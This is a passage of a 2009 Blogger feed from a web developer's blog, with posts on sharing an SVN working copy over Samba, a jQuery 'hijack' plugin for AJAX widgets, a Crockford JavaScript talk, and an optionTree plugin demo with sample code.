term='multiuser'/><category scheme='http://www.blogger.com/atom/ns#' term='update'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><category scheme='http://www.blogger.com/atom/ns#' term='readonly'/><title type='text'>Using shared SVN working copy on samba</title><content type='html'>Part of deployment procedure for PHP applications in company I work for is to update the code on a staging server through a samba share. The code is then replicated to production machines. &lt;br /&gt;
&lt;br /&gt;
We use &lt;a href="http://subversion.tigris.org/"&gt;Subversion&lt;/a&gt; as our &lt;a href="http://en.wikipedia.org/wiki/Revision_control"&gt;VCS&lt;/a&gt; of choice so we simply kept working copies on staging server and used TortoiseSVN to do an &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;svn update&lt;/span&gt;. Later on we would e.g. migrate the database, update configuration files etc. This proved to be very simple and effective technique.&lt;br /&gt;
&lt;br /&gt;
However,when our administration changed authentication procedures and gave every developer separate account (we used a single user name to log in to our samba share before, now we authorize through NT domain) - it suddenly stopped being so effective.&lt;br /&gt;
&lt;br /&gt;
As soon as one developer updated the staging working copy, he started "owning it". Anyone else trying to update it later on got &lt;b&gt;access denied &lt;/b&gt;errors. The reason? Subversion client created files in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.svn &lt;/span&gt;that are read-only and these could not be deleted and recreated by anyone else (and Subversion client does this during &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;svn update&lt;/span&gt;).&lt;br /&gt;
&lt;br /&gt;
Luckily, there is an easy solution, found &lt;a href="http://www.epic.dk/2009/05/20/subversion-with-a-working-copy-on-a-samba-share/"&gt;here&lt;/a&gt; and also mentioned in &lt;a href="http://tortoisesvn.tigris.org/faq.html#samba"&gt;SVN FAQ&lt;/a&gt;. In our case, inserting:&lt;br /&gt;
&lt;blockquote&gt;&lt;pre&gt;[global]
&lt;a href="http://us1.samba.org/samba/docs/man/manpages-3/smb.conf.5.html#DELETEREADONLY"&gt;delete readonly&lt;/a&gt; = yes
&lt;/pre&gt;&lt;/blockquote&gt;in &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;smb.conf&lt;/span&gt; solved our problem. Any developer that is authenticated to use our staging share may now update the working copy.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Disclaimer: &lt;/b&gt;Although using working copy on samba share is not recommended by Subversion team, we use this technique for years now with different server and client versions and this was our first problem. However - we don't do development on this working copy, we only update it, so it's not a real full-blown multiuser working copy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1621578445910585631?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/1621578445910585631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1621578445910585631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1621578445910585631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1621578445910585631'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/09/multiuser-subversion-working-copy-on.html' title='Using shared SVN working copy on samba'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-8883924539254864886</id><published>2009-03-10T01:49:00.008+01:00</published><updated>2009-03-10T02:58:04.564+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='tab'/><category scheme='http://www.blogger.com/atom/ns#' term='plugin'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='remote'/><category scheme='http://www.blogger.com/atom/ns#' term='load'/><category scheme='http://www.blogger.com/atom/ns#' term='ui'/><category scheme='http://www.blogger.com/atom/ns#' term='hijack'/><category scheme='http://www.blogger.com/atom/ns#' term='dialog'/><category scheme='http://www.blogger.com/atom/ns#' term='window'/><category scheme='http://www.blogger.com/atom/ns#' term='tabs'/><category scheme='http://www.blogger.com/atom/ns#' term='modal'/><category scheme='http://www.blogger.com/atom/ns#' term='demo'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='widget'/><category scheme='http://www.blogger.com/atom/ns#' term='refresh'/><title type='text'>jQuery hijack plugin - nice addition to jQuery UI 1.7</title><content type='html'>&lt;p&gt;I have just published a jQuery plugin that I've used with great success on many of my last projects - &lt;a href="http://code.jquery.com/p/jquery-hijack"&gt;jQuery hijack&lt;/a&gt;. What hijacking is and why is it of any importance?&lt;/p&gt;
&lt;h2&gt;The amazing world of widgets&lt;/h2&gt;
&lt;p&gt;When loading a widget on a page, say tab or dialog, we are often loading its content from another URL via AJAX. This is a common technique and nothing new - we may e.g. use &lt;code&gt;jQuery.load()&lt;/code&gt; or &lt;code&gt;jQuery.tabs()&lt;/code&gt; from &lt;a href="http://jqueryui.com/"&gt;Jquery UI&lt;/a&gt; to achieve this. Let's say we are loading a table containing a product list to a tab. In this table we have some columns so we can sort it by clicking on a column header and page the results by using the pager links we developed.
&lt;/p&gt;
&lt;p&gt;
What happens when we click on any link used to e.g. sort or go to next page in our loaded content? &lt;span style="font-weight: bold;"&gt;It replaces the whole page&lt;/span&gt;. The same thing happens when we have e.g. a search form within our tab content and we submit it. Although completely understandable (and there are many ways to avoid it), it's not exactly the best behavior. What can help you - is hijacking.&lt;span style="font-weight: bold;"&gt; jQuery hijack&lt;/span&gt; plugin was designed exactly to come to your rescue.
&lt;/p&gt;
&lt;h2&gt;Hijacking to the rescue&lt;/h2&gt;
&lt;p&gt;Hijacking or hijaxing is a term used by Chris Thatcher a long time ago in a &lt;a href="http://groups.google.com/group/jquery-ui/browse_thread/thread/c728b8464f669674/711a7b0dd4236190?lnk=gst&amp;amp;q=tabs+links+ajax&amp;amp;pli=1"&gt;jQuery UI thread&lt;/a&gt;, where he proposed a way of capturing all the links within a widget content and making them reload only that widget. And this is exactly the core functionality of jQuery hijack plugin.
&lt;/p&gt;
&lt;p&gt;
By using the plugin, we can call a simple one function &lt;code&gt;jQuery.hijack()&lt;/code&gt; and voila - from now on, all links and forms are hijacked - so paging links in the tab will simply display another page of results in this tab, search form will also display results inline - everything requires only one line of code (usually).
&lt;/p&gt;
&lt;h2&gt;More info&lt;/h2&gt;
&lt;p&gt;The plugin works flawlessly with&lt;a href="http://jqueryui.com/"&gt; jQuery UI&lt;/a&gt; widgets, like tabs or dialogs, I also heavily used it with &lt;a href="http://dev.iceburg.net/jquery/jqModal/"&gt;jqModal&lt;/a&gt; plugin. This 1KB plugin also allows you to:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;skip hijacking some forms/links&lt;/li&gt;&lt;li&gt;use click() handlers for links to skip following them at all&lt;/li&gt;&lt;li&gt;skip submitting forms (validation)&lt;/li&gt;&lt;li&gt;always run a particular function after reloading content (e.g. to init some objects)
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;I've created a &lt;a href="http://kotowicz.net/jquery-hijack/demo/demo.html"&gt;demonstration page&lt;/a&gt; for plugin features where you can see it in action with jQuery UI. You may download the plugin at its &lt;a href="http://code.jquery.com/p/jquery-hijack"&gt;Google code page&lt;/a&gt;. The plugin is dual licensed under MIT/GPL licenses.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-8883924539254864886?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/8883924539254864886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=8883924539254864886' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/8883924539254864886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/8883924539254864886'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/03/jquery-hijack-plugin-nice-addition-to.html' title='jQuery hijack plugin - nice addition to jQuery UI 1.7'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-2992835778324219769</id><published>2009-03-04T08:58:00.008+01:00</published><updated>2009-03-04T10:09:10.727+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='closures'/><category scheme='http://www.blogger.com/atom/ns#' term='crockford'/><category scheme='http://www.blogger.com/atom/ns#' term='lint'/><category scheme='http://www.blogger.com/atom/ns#' term='youtube'/><category scheme='http://www.blogger.com/atom/ns#' term='talk'/><title type='text'>Javascript: The Good Parts presentation</title><content type='html'>&lt;p&gt;A few days ago Douglas Crockford gave a presentation at Google Tech Talks and it has just been published at &lt;a href="http://www.youtube.com/user/googletechtalks"&gt;Google Tech Talks Youtube channel&lt;/a&gt;.&lt;/p&gt;
&lt;div class="video"&gt;
&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/hQVTIJBZook&amp;amp;hl=pl&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/hQVTIJBZook&amp;amp;hl=pl&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;a href="http://www.youtube.com/watch?v=hQVTIJBZook"&gt;Youtube link&lt;/a&gt;
&lt;p&gt;&lt;a href="http://www.crockford.com/"&gt;Douglas Crockford&lt;/a&gt; is one of my personal gurus when it comes to Javascript. Currently at Yahoo, he's the author of JSON data-interchange format, Javascript verifier &lt;a href="http://jslint.com/"&gt;JSLint&lt;/a&gt; and many books on Javascript. He seems to know more about Javascript internal workings than any other person I am aware of.&lt;/p&gt;
&lt;p&gt;In this presentation Douglas speaks about some good parts of Javascript:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lambda&lt;/li&gt;
&lt;li&gt;dynamic objects&lt;/li&gt;
&lt;li&gt;loose typing&lt;/li&gt;
&lt;li&gt;object literals&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;and mentions its bad parts, like e.g.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;global variables&lt;/li&gt;
&lt;li&gt;with statement&lt;/li&gt;
&lt;li&gt;semicolon insertion by JS parser&lt;/li&gt;
&lt;li&gt;null, undefined, false and NaN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The talk is full of examples of tricky JS code, he also describes his famous Module pattern for easy creation of objects with private and public properties and methods. You could also learn what semicolon insertion exactly is and why
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
return
{
 ok: false
};
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;does something you'd rather not expect. Douglas describes his personal experience with Javascript in his career and talks about works on next version of ECMAScript standard (ES3.1). &lt;/p&gt;
&lt;p&gt;Watching the talk he gave is definately a well-spent time for a Javascript developer. If you've never heard of Douglas, check out &lt;a href="http://www.crockford.com/"&gt;his webpage&lt;/a&gt; for more information and be sure to check out &lt;a href="http://jslint.com/"&gt;JSLint&lt;/a&gt; - it's a tool that verifies pasted Javascript code and warns about poor programming practices used. Like Douglas said - it WILL hurt your feelings badly ;) &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2992835778324219769?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/2992835778324219769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2992835778324219769' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2992835778324219769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2992835778324219769'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/03/javascript-good-parts-presentation.html' title='Javascript: The Good Parts presentation'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-3528415233903345893</id><published>2009-03-02T17:55:00.023+01:00</published><updated>2009-03-04T09:42:38.211+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='option'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='demo'/><category scheme='http://www.blogger.com/atom/ns#' term='select'/><category scheme='http://www.blogger.com/atom/ns#' term='tree'/><title type='text'>jQuery optionTree demo</title><content type='html'>&lt;p&gt;This is the demo for my &lt;a href="http://code.google.com/p/jquery-option-tree/"&gt;jQuery optionTree plugin&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;This jquery plugin converts passed JSON option tree into dynamically created SELECT elements allowing you to choose one nested option from the tree.
&lt;/p&gt;

&lt;p&gt;
It should be attached to a (most likely hidden) INPUT element. It requires an option tree object. Object property names become labels of created select elements, each non-leaf node in the tree contains other nodes. Leaf nodes contain one value - it will be inserted into attached INPUT element when chosen.
&lt;/p&gt;

&lt;script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="http://jquery-option-tree.googlecode.com/svn/trunk/jquery.optionTree.js"&gt;&lt;/script&gt;

&lt;h2&gt;Example 1&lt;/h2&gt;
&lt;p&gt;&lt;input type="text" name="demo1" /&gt;&lt;/p&gt;
&lt;script type="text/javascript"&gt;
$(function() {

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    $('input[name=demo1]').optionTree(option_tree);

});
&lt;/script&gt;
&lt;code&gt;&lt;pre&gt;

&amp;lt;input type="text" name="demo1" /&amp;gt;

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    $('input[name=demo1]').optionTree(option_tree);
&lt;/pre&gt;&lt;/code&gt;
&lt;h2&gt;Example 2 - change event and configuration&lt;/h2&gt;
&lt;p&gt;&lt;input type="hidden" name="demo2" /&gt;&lt;/p&gt;
&lt;script type="text/javascript"&gt;
$(function() {

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    var options = {empty_value: -1, choose: '...'};

    $('input[name=demo2]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

});
&lt;/script&gt;
&lt;code&gt;&lt;pre&gt;

&amp;lt;input type="hidden" name="demo2" /&amp;gt;

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    var options = {empty_value: -1, choose: '...'};

    $('input[name=demo2]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

&lt;/pre&gt;&lt;/code&gt;

&lt;h2&gt;Example 3 - preselected options&lt;/h2&gt;
&lt;p&gt;&lt;input type="hidden" name="demo3" /&gt;&lt;/p&gt;
&lt;script type="text/javascript"&gt;
$(function() {

    var option_tree = {
       "Red": {"Default":100},
       "Blue": {"Variant 1": {"Default":100, "Another":101},
        "Variant 2": {"Default":100, "Another":102, "and another":103}
       }
    };

    var options = {preselect: {'demo3': 100}}; // value for default option

    $('input[name=demo3]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

});
&lt;/script&gt;
&lt;code&gt;&lt;pre&gt;

&amp;lt;input type="hidden" name="demo3" /&amp;gt;

    var option_tree = {
       "Red": {"Default":100},
       "Blue": {"Variant 1": {"Default":100, "Another":101},
        "Variant 2": {"Default":100, "Another":102, "and another":103}
       }
    };

    var options = {preselect: {'demo3': 100}}; // value for default option (include field name)

    $('input[name=demo3]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

&lt;/pre&gt;&lt;/code&gt;

&lt;h2&gt;More info&lt;/h2&gt;
&lt;p&gt;Plugin is dual licensed undel MIT / GPL licenses.&lt;/p&gt;
&lt;p&gt;Additional information about this plugin is available on its &lt;a href="http://code.google.com/p/jquery-option-tree/"&gt;google code&lt;/a&gt; pages. You may download the plugin from there or from its &lt;a href="http://plugins.jquery.com/project/optiontree"&gt;jQuery plugin site&lt;/a&gt;. It has been tested with jQuery 1.2 and 1.3. Feel free to comment on the plugin and suggest additional features on google code project site.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3528415233903345893?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/3528415233903345893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3528415233903345893' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/3528415233903345893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/3528415233903345893'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2009/03/jquery-optiontree-demo.html' title='jQuery optionTree demo'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>12</thr:total></entry></feed>